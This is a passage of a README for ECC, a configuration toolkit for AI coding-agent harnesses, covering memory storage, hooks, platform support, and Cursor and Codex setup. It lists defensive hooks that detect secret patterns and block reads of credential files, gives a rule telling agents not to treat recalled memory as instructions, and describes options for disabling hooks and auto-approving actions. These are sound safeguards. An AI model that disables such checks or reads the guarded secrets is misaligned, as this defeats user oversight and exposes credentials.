Shorthand Guide to ECC\" height=\"120\" src=\"https://raw.githubusercontent.com/affaan-m/ECC/main/assets/images/guides/shorthand-guide.png\" width=\"213\" /><br /> <strong>The Shorthand Guide</strong> </a> <br /><sub>Setup, foundations, and day-one use. <b>Read this first.</b> (<a href=\"https://x.com/affaan/status/2012378465664745795\">thread</a>)</sub> </td> \n   <td align=\"center\" width=\"33%\"> <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/the-longform-guide.md\"> <img alt=\"The Longform Guide to ECC\" height=\"120\" src=\"https://raw.githubusercontent.com/affaan-m/ECC/main/assets/images/guides/longform-guide.png\" width=\"213\" /><br /> <strong>The Longform Guide</strong> </a> <br /><sub>Context economics, memory, evals, and parallel agents. (<a href=\"https://x.com/affaan/status/2014040193557471352\">thread</a>)</sub> </td> \n   <td align=\"center\" width=\"33%\"> <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/the-security-guide.md\"> <img alt=\"The Security Guide to ECC\" height=\"120\" src=\"https://raw.githubusercontent.com/affaan-m/ECC/main/assets/images/guides/security-guide.png\" width=\"213\" /><br /> <strong>The Security Guide</strong> </a> <br /><sub>Prompt injection, hooks, MCP, and AgentShield. (<a href=\"https://x.com/affaan/status/2033263813387223421\">thread</a>)</sub> </td> \n  </tr> \n </tbody>\n</table> \n<table> \n <thead> \n  <tr> \n   <th>Topic</th> \n   <th>What You'll Learn</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td>Token Optimization</td> \n   <td>Model selection, system prompt slimming, background processes</td> \n  </tr> \n  <tr> \n   <td>Memory Persistence</td> \n   <td>Hooks that save/load context across sessions automatically</td> \n  </tr> \n  <tr> \n   <td>Continuous Learning</td> \n   <td>Auto-extract patterns from sessions into reusable skills</td> \n  </tr> \n  <tr> \n   <td>Verification Loops</td> \n   <td>Checkpoint vs continuous evals, grader types, pass@k metrics</td> \n  </tr> \n  <tr> \n   <td>Parallelization</td> \n   <td>Git worktrees, cascade method, when to scale instances</td> \n  </tr> \n  <tr> \n   <td>Subagent Orchestration</td> \n   <td>The context problem, iterative retrieval pattern</td> \n  </tr> \n </tbody> \n</table> \n<p><a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/COMMANDS-QUICK-REF.md\">Commands Quick Reference</a> | <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/docs/MANUAL-ADAPTATION-GUIDE.md\">Manual Adaptation Guide</a> | <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/docs/ASTRA-REVIEW-GUIDE.md\">Astra Review Guide</a> | <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/TROUBLESHOOTING.md\">Troubleshooting FAQ</a> | <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/docs/ROADMAP.md\">Roadmap</a></p> \n<h2>Why Choose ECC?</h2> \n<table> \n <thead> \n  <tr> \n   <th>Without a system</th> \n   <th>With ECC</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td>Plans disappear into chat history</td> \n   <td>Plans become editable artifacts before implementation starts</td> \n  </tr> \n  <tr> \n   <td>\"Please use TDD\" is an instruction the model may forget</td> \n   <td>TDD becomes a gated RED -&gt; GREEN -&gt; REFACTOR workflow with evidence</td> \n  </tr> \n  <tr> \n   <td>The same context writes and reviews the code</td> \n   <td>A fresh-context reviewer looks for regressions and blind spots</td> \n  </tr> \n  <tr> \n   <td>Memory means saving an enormous transcript</td> \n   <td>Sessions are distilled into summaries, instincts, and reusable skills</td> \n  </tr> \n  <tr> \n   <td>Quality checks depend on reminders</td> \n   <td>Hooks can enforce deterministic checks outside the prompt</td> \n  </tr> \n  <tr> \n   <td>Agent configuration is trusted by default</td> \n   <td>AgentShield scans the harness itself as an attack surface</td> \n  </tr> \n </tbody> \n</table> \n<h3>TDD: Test-Driven Development</h3> \n<pre><code class=\"language-text\">/ecc:plan \"Add usage-based billing alerts\"\n  -&gt; confirm or edit the plan\n  -&gt; activate tdd-workflow\n  -&gt; capture RED evidence before implementation\n  -&gt; implement until GREEN\n  -&gt; review from fresh context\n  -&gt; fix findings with regression tests\n  -&gt; verify build, lint, types, and tests\n</code></pre> \n<p>A result is not just code. It's a trail of evidence: the plan, the failing test, the passing test, the review findings, and the final verification.</p> \n<h3>Skills keep the context focused</h3> \n<p>Rules, skills, agents, and hooks solve different problems. Keeping those jobs separate is how ECC adds capability without dumping the entire repository into every session.</p> \n<table> \n <thead> \n  <tr> \n   <th>Concept</th> \n   <th>What it does</th> \n   <th>Context behavior</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td>Skills</td> \n   <td>Reusable workflows such as TDD, security review, or deep research</td> \n   <td>Loaded when the task needs them</td> \n  </tr> \n  <tr> \n   <td>Agents</td> \n   <td>Scoped workers with their own context and tool permissions</td> \n   <td>Isolate planning, implementation, and review</td> \n  </tr> \n  <tr> \n   <td>Rules</td> \n   <td>Durable project or language standards</td> \n   <td>Always loaded, so install them selectively</td> \n  </tr> \n  <tr> \n   <td>Hooks</td> \n   <td>Scripts triggered by harness events</td> \n   <td>Run outside the model context</td> \n  </tr> \n  <tr> \n   <td>Instincts</td> \n   <td>Patterns learned from real sessions with confidence scores</td> \n   <td>Recalled when relevant</td> \n  </tr> \n </tbody> \n</table> \n<h3>Share context between harnesses</h3> \n<p>ECC's Memory Vault gives Claude, Codex, Hermes, OpenClaw, Kimi, and other harnesses one local, inspectable Markdown format for durable context and handoffs. Project and team memories live under <code>.ecc/memory/</code>; user memories live under <code>~/.ecc/memory/</code>.</p> \n<p>Skill-only, minimal, manual, and Claude plugin installs do not put the Memory Vault runtime on <code>PATH</code>. Install the npm runtime separately before using the CLI or optional MCP server:</p> \n<pre><code class=\"language-bash\">npm install -g ecc-universal@2.2.3\necc memory init --scope project\necc memory search \"authentication migration\" --target-harness codex\necc memory doctor\n</code></pre> \n<p>Memory is unreviewed context, not executable policy. Verify important claims against authoritative sources and promote accepted knowledge into governed project documentation. The optional <code>ecc-memory-mcp</code> server exposes the same bounded save, search, read, and doctor surface without enabling itself by default.</p> \n<p><a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/skills/unified-memory/SKILL.md\">Open the Unified Memory workflow \u2192</a></p> \n<details> \n <strong>Memory Vault in depth: scopes, handoffs, and trust boundaries</strong> \n <p>The Memory Vault stores portable <code>ecc.memory.v1</code> Markdown documents instead of copying vendor transcripts or emailing context between agents. Project memories are protected by a fail-closed <code>.gitignore</code>; use the team scope only for human-inspected, version-controlled sharing. Team memories remain unreviewed context even after they are committed.</p> \n <p>After installing the runtime above, check that the CLI and optional MCP entry point are available:</p> \n <pre><code class=\"language-bash\">ecc memory --help\ncommand -v ecc-memory-mcp\n</code></pre> \n <pre><code class=\"language-bash\"># Initialize the project vault.\necc memory init --scope project\n\n# Write a handoff body to a regular file, then target the next harness.\necc memory handoff \\\n  --from hermes \\\n  --target codex \\\n  --title \"Continue authentication migration\" \\\n  --body-file ./handoff.md\n\n# Recall it from another harness.\necc memory search \"authentication migration\" --target-harness codex\necc memory read &lt;memory-id&gt;\n\n# Validate the vault before sharing team memories.\necc memory doctor\n</code></pre> \n <p>Memory bodies are accepted only through <code>--stdin</code> or <code>--body-file</code>, not as command-line values. The first release keeps every vault entry unreviewed and create-only; human review promotes accepted knowledge into governed project documentation rather than changing memory trust. Normal search recall returns active project and team memories. A direct ID read may inspect a non-active entry. User-scope recall must be requested explicitly. Agents must verify important claims against authoritative sources and must never treat recalled bodies as executable instructions or policy.</p> \n <p>For opt-in MCP access, add the <code>ecc-memory-vault</code> entry from <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/mcp-configs/mcp-servers.json\"><code>mcp-configs/mcp-servers.json</code></a> to each harness that needs it, then run <code>ecc-memory-mcp</code>. The server exposes only <code>memory_save</code>, <code>memory_search</code>, <code>memory_read</code>, and <code>memory_doctor</code>. Each server must launch with a lowercase <code>ECC_MEMORY_HARNESS</code> identity; the identity is server-bound and cannot be supplied by a tool caller. User scope additionally requires the operator-controlled <code>ECC_MEMORY_ALLOW_USER_SCOPE=1</code> opt-in. See <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/skills/unified-memory/SKILL.md\"><code>skills/unified-memory/SKILL.md</code></a> for the workflow and trust boundaries, and <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/docs/design/ecc-memory-vault.md\"><code>docs/design/ecc-memory-vault.md</code></a> for the capability contract.</p> \n</details> \n<h2>Platform Support</h2> \n<p>ECC's core Node.js CLI and managed installers run on <strong>Windows, macOS, and Linux</strong>, but optional capabilities are not at full parity. Some continuous-learning, GAN, and orchestration paths still require Bash or Python; harnesses also expose different hook, agent, and skill APIs.</p> \n<table> \n <thead> \n  <tr> \n   <th>Platform</th> \n   <th>Status</th> \n   <th>Current limitation</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td>Linux</td> \n   <td>Supported core</td> \n   <td>Optional features may require Bash, Python, or provider-specific tools.</td> \n  </tr> \n  <tr> \n   <td>macOS</td> \n   <td>Supported core</td> \n   <td>The standalone GAN shell path is not compatible with the system Bash 3.2 and currently has a score-parsing defect (<a href=\"https://github.com/affaan-m/ECC/issues/2674\">#2674</a>).</td> \n  </tr> \n  <tr> \n   <td>Windows + WSL</td> \n   <td>Supported core</td> \n   <td>WSL follows the Linux paths; Windows host integrations still vary by harness.</td> \n  </tr> \n  <tr> \n   <td>Windows native</td> \n   <td>Supported with limitations</td> \n   <td>Continuous-learning v2's observer daemon and memory-vault writes have open native-Windows defects (<a href=\"https://github.com/affaan-m/ECC/issues/2489\">#2489</a>, <a href=\"https://github.com/affaan-m/ECC/issues/2626\">#2626</a>). Shell-backed optional features require Git Bash/WSL or are unavailable.</td> \n  </tr> \n </tbody> \n</table> \n<p>Treat <code>stable</code>, <code>beta</code>, <code>experimental</code>, and <code>instruction-only</code> below as capability statements, not marketing tiers.</p> \n<table> \n <thead> \n  <tr> \n   <th>Harness</th> \n   <th>Status</th> \n   <th>Recommended distribution</th> \n   <th>Important limitation</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td>Claude Code</td> \n   <td>Stable primary</td> \n   <td>Plugin or selective installer</td> \n   <td>The plugin advertises the installed catalog to the model; use a selective/manual profile when context footprint matters. Optional shell-backed skills are not portable to every OS.</td> \n  </tr> \n  <tr> \n   <td>Codex</td> \n   <td>Supported native plugin</td> \n   <td>Codex marketplace plugin or repo config</td> \n   <td>Native hooks require an explicit trust decision and do not use Claude's hook profiles. The legacy sync is compatibility-only.</td> \n  </tr> \n  <tr> \n   <td>Qoder</td> \n   <td>Supported native plugin</td> \n   <td>Local plugin directory in Qoder CLI or ZIP upload in Qoder IDE</td> \n   <td>Loads the canonical skills, agents, commands, and MCP config; only the reviewed SessionStart hook is enabled, and Node.js 18+ must be on the non-interactive PATH.</td> \n  </tr> \n  <tr> \n   <td>Cursor</td> \n   <td>Beta project adapter</td> \n   <td>Selective installer into <code>.cursor/</code></td> \n   <td>Agent discovery varies by Cursor build; hook events use profile-gated dispatchers, but full Claude feature parity is not claimed.</td> \n  </tr> \n  <tr> \n   <td>OpenCode</td> \n   <td>Beta built plugin</td> \n   <td>Build plugin, then selective installer</td> \n   <td>ECC ships a subset of the catalog; connect a provider and select a model in OpenCode (<a href=\"https://github.com/affaan-m/ECC/issues/2617\">#2617</a>).</td> \n  </tr> \n  <tr> \n   <td>GitHub Copilot Chat</td> \n   <td>Instruction-only</td> \n   <td>Checked-in instructions and prompt files</td> \n   <td>ECC hooks are not adapted.</td> \n  </tr> \n  <tr> \n   <td>GitHub Copilot CLI</td> \n   <td>Beta project adapter</td> \n   <td><code>--target copilot</code> places skills and adapted agents in <code>.github/</code></td> \n   <td>ECC hooks, rules, and command shims are not installed by this target.</td> \n  </tr> \n  <tr> \n   <td>Gemini, Zed, Antigravity, Qwen, Hermes, OpenClaw, Kimi, CodeBuddy, JoyCode</td> \n   <td>Experimental/minimal adapters</td> \n   <td>Harness-specific selective target</td> \n   <td>File placement and instruction portability are tested; full Claude feature parity is not claimed.</td> \n  </tr> \n </tbody> \n</table> \n<details> \n <strong>Package manager detection</strong> \n <p>The plugin automatically detects your preferred package manager (npm, pnpm, yarn, or bun) with the following priority:</p> \n <ol> \n  <li><strong>Environment variable</strong>: <code>CLAUDE_PACKAGE_MANAGER</code></li> \n  <li><strong>Project config</strong>: <code>.claude/package-manager.json</code></li> \n  <li><strong>package.json</strong>: <code>packageManager</code> field</li> \n  <li><strong>Lock file</strong>: Detection from package-lock.json, yarn.lock, pnpm-lock.yaml, or bun.lockb</li> \n  <li><strong>Global config</strong>: <code>~/.claude/package-manager.json</code></li> \n  <li><strong>Fallback</strong>: First available package manager</li> \n </ol> \n <p>To set your preferred package manager:</p> \n <pre><code class=\"language-bash\"># Via environment variable\nexport CLAUDE_PACKAGE_MANAGER=pnpm\n\n# Via global config\nnode scripts/setup-package-manager.js --global pnpm\n\n# Via project config\nnode scripts/setup-package-manager.js --project bun\n\n# Detect current setting\nnode scripts/setup-package-manager.js --detect\n</code></pre> \n <p>Or use the <code>/setup-pm</code> command.</p> \n</details> \n<details> \n <strong>Hook runtime controls (env vars)</strong> \n <p>Use runtime flags to tune strictness or disable specific hooks temporarily:</p> \n <pre><code class=\"language-bash\"># Hook strictness profile (default: standard)\nexport ECC_HOOK_PROFILE=standard\n\n# Comma-separated hook IDs to disable\nexport ECC_DISABLED_HOOKS=\"pre:bash:tmux-reminder,post:edit:typecheck\"\n\n# Cap SessionStart additional context (default: 8000 chars)\nexport ECC_SESSION_START_MAX_CHARS=4000\n\n# Disable SessionStart additional context entirely for low-context/local-model setups\nexport ECC_SESSION_START_CONTEXT=off\n\n# Session-tmp retention window in days (default: 30).\n# Set to 0, off, false, disabled, never, or none to keep all sessions (disable pruning).\nexport ECC_SESSION_RETENTION_DAYS=14\n\n# Cap how many learned instincts SessionStart injects into context (default: 6)\nexport ECC_MAX_INJECTED_INSTINCTS=6\n\n# Minimum confidence an instinct needs to be injected, 0-1 (default: 0.7)\nexport ECC_INSTINCT_CONFIDENCE_THRESHOLD=0.7\n\n# SessionStart ranks injected instincts by confidence + project/stack relevance\n# (default: on). Project-scoped instincts, and instincts whose domain/trigger\n# matches the detected stack (languages, frameworks, plus terraform/dbt markers),\n# get a small ranking boost so they surface above unrelated higher-confidence\n# ones. Set to off/false/0/no to rank by confidence alone.\nexport ECC_INSTINCT_RELEVANCE_RANKING=on\n\n# Keep context/scope/loop warnings but suppress API-rate cost estimates\nexport ECC_CONTEXT_MONITOR_COST_WARNINGS=off\n</code></pre> \n <p>Windows PowerShell:</p> \n <pre><code class=\"language-powershell\">[Environment]::SetEnvironmentVariable('ECC_CONTEXT_MONITOR_COST_WARNINGS', 'off', 'User')\n[Environment]::SetEnvironmentVariable('ECC_SESSION_RETENTION_DAYS', '14', 'User')\n</code></pre> \n</details> \n<details> \n <strong>Agent data home (multi-harness isolation)</strong> \n <p>Memory persistence hooks (session summaries, learned skills, session aliases, metrics) store data under a single agent data root. By default that root is <code>~/.claude</code>. When you use ECC in both Claude Code and Cursor on the same machine, set a separate root for Cursor so the two environments do not overwrite each other's session files:</p> \n <pre><code class=\"language-bash\"># Cursor-only boundary (Claude Code keeps the default ~/.claude)\nexport ECC_AGENT_DATA_HOME=\"$HOME/.cursor/ecc\"\n</code></pre> \n <p>Paths resolved under that root include:</p> \n <ul> \n  <li><code>$ECC_AGENT_DATA_HOME/session-data/</code>: session summaries</li> \n  <li><code>$ECC_AGENT_DATA_HOME/skills/learned/</code>: learned skills from evaluate-session</li> \n  <li><code>$ECC_AGENT_DATA_HOME/session-aliases.json</code>: session aliases</li> \n  <li><code>$ECC_AGENT_DATA_HOME/metrics/</code>: cost and activity metrics</li> \n </ul> \n <p>See <a href=\"https://github.com/affaan-m/ECC/issues/2065\">affaan-m/ECC#2065</a>.</p> \n</details> \n<details> \n <strong>Cross-tool capability map and per-harness notes</strong> \n <h3>Cross-tool capability map</h3> \n <table> \n  <thead> \n   <tr> \n    <th>Capability</th> \n    <th>Claude Code</th> \n    <th>Codex</th> \n    <th>Cursor</th> \n    <th>OpenCode</th> \n    <th>GitHub Copilot</th> \n   </tr> \n  </thead> \n  <tbody> \n   <tr> \n    <td>Instructions</td> \n    <td>Native</td> \n    <td>Native <code>AGENTS.md</code></td> \n    <td>Project rules</td> \n    <td>Plugin instructions</td> \n    <td>Native instruction file</td> \n   </tr> \n   <tr> \n    <td>Skills</td> \n    <td>Native installed set</td> \n    <td>Native plugin set</td> \n    <td>Build-dependent/project set</td> \n    <td>Built subset</td> \n    <td>Native discovery (Copilot CLI) from <code>.github/skills/</code>, <code>.agents/skills/</code>, <code>.claude/skills/</code></td> \n   </tr> \n   <tr> \n    <td>Agents/delegation</td> \n    <td>Native agents</td> \n    <td>Codex multi-agent roles; Claude agent files are not installed as roles</td> \n    <td>Build-dependent project agents</td> \n    <td>Plugin agents</td> \n    <td>Copilot CLI custom agents via <code>.github/agents/</code> and <code>--agent</code></td> \n   </tr> \n   <tr> \n    <td>ECC hooks</td> \n    <td>Native plugin hooks</td> \n    <td>Native reviewed subset with explicit trust</td> \n    <td>Cursor hook adapter; install-path differences remain</td> \n    <td>Plugin events</td> \n    <td>Not ported; Copilot CLI has its own plugin hook system</td> \n   </tr> \n   <tr> \n    <td>MCP configuration</td> \n    <td>Available, explicit activation</td> \n    <td>Native plugin manifest; legacy sync can merge TOML</td> \n    <td>Explicit project/user config</td> \n    <td>Provider/plugin config</td> \n    <td>Not supplied by ECC</td> \n   </tr> \n   <tr> \n    <td>Parity with Claude Code</td> \n    <td>Primary reference</td> \n    <td>Partial</td> \n    <td>Partial</td> \n    <td>Partial</td> \n    <td>Partial</td> \n   </tr> \n  </tbody> \n </table> \n <p><strong>Key architectural decisions:</strong></p> \n <ul> \n  <li><strong><a href=\"http://AGENTS.md\">AGENTS.md</a></strong> at root is the universal cross-tool file (read by Claude Code, Cursor, Codex, and OpenCode; GitHub Copilot uses <code>.github/copilot-instructions.md</code> instead)</li> \n  <li><strong>DRY adapter pattern</strong> lets Cursor reuse Claude Code's hook scripts without duplication</li> \n  <li><strong>Skills format</strong> (<a href=\"http://SKILL.md\">SKILL.md</a> with YAML frontmatter) works across Claude Code, Codex, OpenCode, and GitHub Copilot CLI</li> \n  <li>Codex's narrower native hook set is supplemented by <code>AGENTS.md</code>, optional <code>model_instructions_file</code> overrides, and sandbox permissions</li> \n </ul> \n <details> \n  <strong>Cursor IDE support in depth</strong> \n  <p>ECC provides Cursor IDE support with hooks, rules, agents, skills, commands, and MCP configs adapted for Cursor's project layout.</p> \n  <pre><code class=\"language-bash\"># macOS/Linux\n./install.sh --target cursor typescript\n./install.sh --target cursor python golang swift php\n</code></pre> \n  <pre><code class=\"language-powershell\"># Windows PowerShell\n.\\install.ps1 --target cursor typescript\n.\\install.ps1 --target cursor python golang swift php\n</code></pre> \n  <h4>What's included for Cursor</h4> \n  <table> \n   <thead> \n    <tr> \n     <th>Component</th> \n     <th>Count</th> \n     <th>Details</th> \n    </tr> \n   </thead> \n   <tbody> \n    <tr> \n     <td>Hook Events</td> \n     <td>15</td> \n     <td>sessionStart, beforeShellExecution, afterFileEdit, beforeMCPExecution, beforeSubmitPrompt, and 10 more</td> \n    </tr> \n    <tr> \n     <td>Hook Entrypoints</td> \n     <td>15</td> \n     <td>Thin Node.js event dispatchers delegating to <code>scripts/hooks/</code> via shared adapter</td> \n    </tr> \n    <tr> \n     <td>Rules</td> \n     <td>34</td> \n     <td>9 common (alwaysApply) + 25 language-specific (TypeScript, Python, Go, Swift, PHP)</td> \n    </tr> \n    <tr> \n     <td>Agents</td> \n     <td>48</td> \n     <td><code>.cursor/agents/ecc-*.md</code> when installed; prefixed to avoid collisions with user or marketplace agents</td> \n    </tr> \n    <tr> \n     <td>Skills</td> \n     <td>Shared + Bundled</td> \n     <td><code>.cursor/skills/</code> for translated additions</td> \n    </tr> \n    <tr> \n     <td>Commands</td> \n     <td>Shared</td> \n     <td><code>.cursor/commands/</code> if installed</td> \n    </tr> \n    <tr> \n     <td>MCP Config</td> \n     <td>Shared</td> \n     <td><code>.cursor/mcp.json</code> if installed</td> \n    </tr> \n   </tbody> \n  </table> \n  <h4>Cursor loading notes</h4> \n  <p>ECC does not install root <code>AGENTS.md</code> into <code>.cursor/</code>. Cursor treats nested <code>AGENTS.md</code> files as directory context, so copying ECC's repo identity into a host project would pollute that project.</p> \n  <p>Cursor-native loading behavior can vary by Cursor build. ECC installs agents as <code>.cursor/agents/ecc-*.md</code>; if your Cursor build does not expose project agents, those files still work as explicit reference definitions instead of hidden global prompt context.</p> \n  <h4>Memory and data isolation (Cursor + Claude Code)</h4> \n  <p>ECC memory hooks reuse the same <code>scripts/hooks/*.js</code> as Claude Code. For Cursor, ECC tries to keep memory <strong>out of <code>~/.claude</code> automatically</strong>:</p> \n  <ol> \n   <li><strong>Cursor <code>sessionStart</code> hook</strong> (installed to <code>.cursor/hooks.json</code> on <code>--target cursor</code>) injects <code>ECC_AGENT_DATA_HOME</code> for the whole composer session.</li> \n   <li><strong>Hook runtime default</strong>: when <code>CURSOR_VERSION</code> or <code>CURSOR_PROJECT_DIR</code> is present, hooks default to <code>~/.cursor/ecc</code> if the env var is unset.</li> \n   <li><strong>Project config</strong>: <code>.cursor/ecc-agent-data.json</code> documents and overrides the path (<code>agentDataHome</code>).</li> \n   <li><strong>Always-on rule</strong>: <code>.cursor/rules/ecc-agent-data-home.mdc</code> reminds the agent where memory lives.</li> \n  </ol> \n  <p>You can still override explicitly:</p> \n  <pre><code class=\"language-bash\">export ECC_AGENT_DATA_HOME=\"$HOME/.cursor/ecc\"\n</code></pre> \n  <p>To <strong>share</strong> memory with Claude Code on purpose, set <code>ECC_AGENT_DATA_HOME=~/.claude</code> in the shell or in <code>.cursor/ecc-agent-data.json</code>.</p> \n  <p>Continuous learning v2 instincts remain separate under <code>CLV2_HOMUNCULUS_DIR</code> (default <code>~/.local/share/ecc-homunculus</code>).</p> \n  <h4>Hook architecture (DRY adapter pattern)</h4> \n  <p>Cursor has <strong>more hook events than Claude Code</strong> (20 vs 8). The <code>.cursor/hooks/adapter.js</code> module transforms Cursor's stdin JSON to Claude Code's format, allowing existing <code>scripts/hooks/*.js</code> to be reused without duplication. Each Cursor event is registered with one event-level dispatcher so enabled checks run in a deterministic order and remain compatible with Cursor versions that execute only the first matching entry. The adapter resolves the shared runtime from both the ECC checkout and an installed project's <code>.cursor/scripts/</code> tree.</p> \n  <pre><code>Cursor stdin JSON -&gt; adapter.js -&gt; transforms -&gt; scripts/hooks/*.js\n                                                (shared with Claude Code)\n</code></pre> \n  <p>Key hooks:</p> \n  <ul> \n   <li><strong>beforeShellExecution</strong>: Blocks git hook bypasses and dev servers outside tmux (exit 2), then adds profile-gated shell reminders</li> \n   <li><strong>afterFileEdit / stop</strong>: Accumulates edited JS/TS files and runs one profile-gated format/typecheck batch at Stop, alongside the console.log audit</li> \n   <li><strong>beforeSubmitPrompt</strong>: Detects secrets (sk-, ghp_, AKIA patterns) in prompts</li> \n   <li><strong>beforeTabFileRead</strong>: Blocks Tab from reading .env, .key, .pem files (exit 2)</li> \n   <li><strong>beforeMCPExecution / afterMCPExecution</strong>: MCP audit logging</li> \n  </ul> \n  <h4>Rules format</h4> \n  <p>Cursor rules use YAML frontmatter with <code>description</code>, <code>globs</code>, and <code>alwaysApply</code>:</p> \n  <pre><code class=\"language-yaml\">---\ndescription: \"TypeScript coding style extending common rules\"\nglobs: [\"**/*.ts\", \"**/*.tsx\", \"**/*.js\", \"**/*.jsx\"]\nalwaysApply: false\n---\n</code></pre> \n </details> \n <details> \n  <strong>Codex macOS app + CLI support in depth</strong> \n  <p>ECC provides a supported native Codex marketplace plugin and repo-local configuration for the macOS app and CLI. The native plugin carries shared skills, MCP configuration, and a reviewed hook subset; Codex keeps hook trust under explicit user control. The older sync path remains compatibility-only. For repo navigation, surface ownership, and PR diff packet guidance, start with <a href=\"https://raw.githubusercontent.com/affaan-m/ECC/main/docs/CODEX-NAVIGATION-GUIDE.md\"><code>docs/CODEX-NAVIGATION-GUIDE.md</code></a>.</p> \n  <pre><code class=\"language-bash\"># Recommended current install: add ECC's native plugin from the repo marketplace\ncodex plugin marketplace add affaan-m/ECC\ncodex plugin add ecc@ecc\ncodex plugin list --json\n\n# Or run Codex CLI in the repo: AGENTS.md and .codex/ are auto-detected\ncodex\n</code></pre> \n  <p>Legacy copied-configuration compatibility is still available when you intentionally need it:</p> \n  <pre><code class=\"language-bash\"># Compatibility-only managed sync into ~/.codex\nnpm install &amp;&amp; bash scripts/sync-ecc-to-codex.sh\n\n# Or copy only the reference config manually\ncp .codex/config.toml ~/.codex/config.toml\n</code></pre> \n  <p>Normal MCP sync preserves existing server settings and warns when they differ from ECC's recommendation. An existing <code>chrome-devtools-mcp@latest</code> entry therefore stays unchanged; updating the repository alone does not adopt the recommended <code>chrome-devtools-mcp@1.10.1</code> pin. Existing legacy-sync users can preview and explicitly apply the refresh from the updated ECC checkout:</p> \n  <pre><code class=\"language-bash\">bash scripts/sync-ecc-to-codex.sh --dry-run --update-mcp\nbash scripts/sync-ecc-to-codex.sh --update-mcp\n</code></pre> \n  <p>Review the preview before applying: <code>--update-mcp</code> replaces the entire recommended <code>chrome-devtools</code> server section, including custom command arguments and nested settings. Unrelated user-managed servers remain in place. Retired defaults such as Context7 are not refreshed or migrated by this flag.</p> \n  <p>Codex macOS app:</p> \n  <ul> \n   <li>Open this repository as your workspace.</li> \n   <li>The root <code>AGENTS.md</code> is auto-detected.</li> \n   <li><code>.codex/config.toml</code> and <code>.codex/agents/*.toml</code> work best when kept project-local.</li> \n   <li>The reference <code>.codex/config.toml</code> intentionally does not pin <code>model</code> or <code>model_provider</code>, so Codex uses its own current default unless you override it.</li> \n   <li>Optional: copy <code>.codex/config.toml</code> to <code>~/.codex/config.toml</code> for global defaults; keep the multi-agent role files project-local unless you also copy <code>.codex/agents/</code>.</li> \n  </ul> \n  <h4>What's included in the repo and legacy configuration layer</h4> \n  <table> \n   <thead> \n    <tr> \n     <th>Component</th> \n     <th>Count</th> \n     <th>Details</th> \n    </tr> \n   </thead> \n   <tbody> \n    <tr> \n     <td>Config</td> \n     <td>1</td> \n     <td><code>.codex/config.toml</code>: top-level approvals/sandbox/web_search, MCP servers, notifications, profiles</td> \n    </tr> \n    <tr> \n     <td><a href=\"http://AGENTS.md\">AGENTS.md</a></td> \n     <td>2</td> \n     <td>Root (universal) + <code>.codex/AGENTS.md</code> (Codex-specific supplement)</td> \n    </tr> \n    <tr> \n     <td>Skills</td> \n     <td>32</td> \n     <td><code>.agents/skills/</code>: <a href=\"http://SKILL.md\">SKILL.md</a> + agents/openai.yaml per skill</td> \n    </tr> \n    <tr> \n     <td>MCP Servers</td> \n     <td>6 legacy reference entries</td> \n     <td>GitHub, Context7, Exa, Memory, Playwright, Sequential Thinking. Current managed sync recommends <code>chrome-devtools</code>; see the explicit refresh instructions above.</td> \n    </tr> \n    <tr> \n     <td>Profiles</td> \n     <td>2</td> \n     <td><code>strict</code> (read-only sandbox) and <code>yolo</code> (full auto-approve)</td> \n    </tr> \n    <tr> \n     <td>Agent Roles</td> \n     <td>3</td> \n     <td><code>.codex/agents/</code>: explorer, reviewer, docs-researcher</td> \n    </tr> \n   </tbody> \n  </table> \n  <p>Skills at <code>.agents/skills/</code> are auto-loaded by Codex. Canonical Anthropic skills such as <code>claude-api</code>, <code>frontend-design</code>, and <code>skill-creator</code> are intentionally not re-bundled here. Install those from <a href=\"https://github.com/anthropics/skills\"><code>anthropics/skills</code></a> when you want the official versions.</p> \n  <h4>Key limitation</h4> \n  <p>Codex does <strong>not provide Claude-style hook execution parity</strong>. The native ECC plugin includes a reviewed hook subset that requires explicit trust in <code>/hooks</code>; <code>AGENTS.md</code>, optional <code>model_instructions_file</code> overrides, and sandbox/approval settings provide the remaining instruction and policy layers.</p> \n  <h4>Multi-agent support</h4> \n  <p>Current Codex builds support stable multi-agent workflows.</p> \n  <ul> \n   <li>Enable <code>features.multi_agent = true</code> in <code>.codex/config.toml</code></li> \n   <li>Define roles under <code>[agents.&lt;name&gt;]</code></li> \n   <li>Point each role at a file under <code>.codex/agents/</code></li> \n   <li>Use <code>/agent</code> in the CLI to inspect or steer child agents</li> \n  </ul> \n  <p>ECC ships three sample role configs:</p> \n  <table> \n   <thead> \n    <tr> \n     <th>Role</th> \n     <th>Purpose</th> \n    </tr> \n   </thead> \n   <tbody> \n    <tr> \n     <td><code>explorer</code></td> \n     <td>Read-only codebase evidence gathering before edits</td> \n    </tr> \n    <tr> \n     <td><code>reviewer</code></td> \n     <td>Correctness, security, and missing-test review</td> \n    </tr> \n    <tr> \n     <td><code>docs_researcher</code></td> \n     <td>Documentation and API verification before release/docs changes</td> \n    </tr> \n   </tbody> \n  </table> \n </details> \n <details> \n  <strong>Zed support</strong> \n  <p>ECC provides Zed project support through a conservative <code>.zed</code> adapter for project-local settings, flattened rules, agents, commands, and skills.</p> \n  <pre><code class=\"language-bash\">./install.sh --profile minimal --target zed\n</code></pre> \n  <pre><code class=\"language-powershell\">.\\install.ps1 --profile minimal --target zed\n</code></pre> \n  <p>The adapter writes ECC-managed files under <code>.zed/</code> and keeps BYOK/OpenRouter credentials out of the repo. Configure Zed account or API keys through Zed's own settings UI or your local user settings.</p> \n </details> \n <details> \n  <strong>OpenCode support in depth</strong> \n  <p>ECC provides a beta OpenCode plugin integration with instructions, a catalog subset, commands, custom tools, and hook events. It does not provide feature parity with Claude Code. The reference config inherits the user's OpenCode model selection instead of pinning a provider-specific model.</p> \n  <pre><code class=\"language-bash\"># Run your reviewed OpenCode installation in the repository root\nopencode\n</code></pre> \n  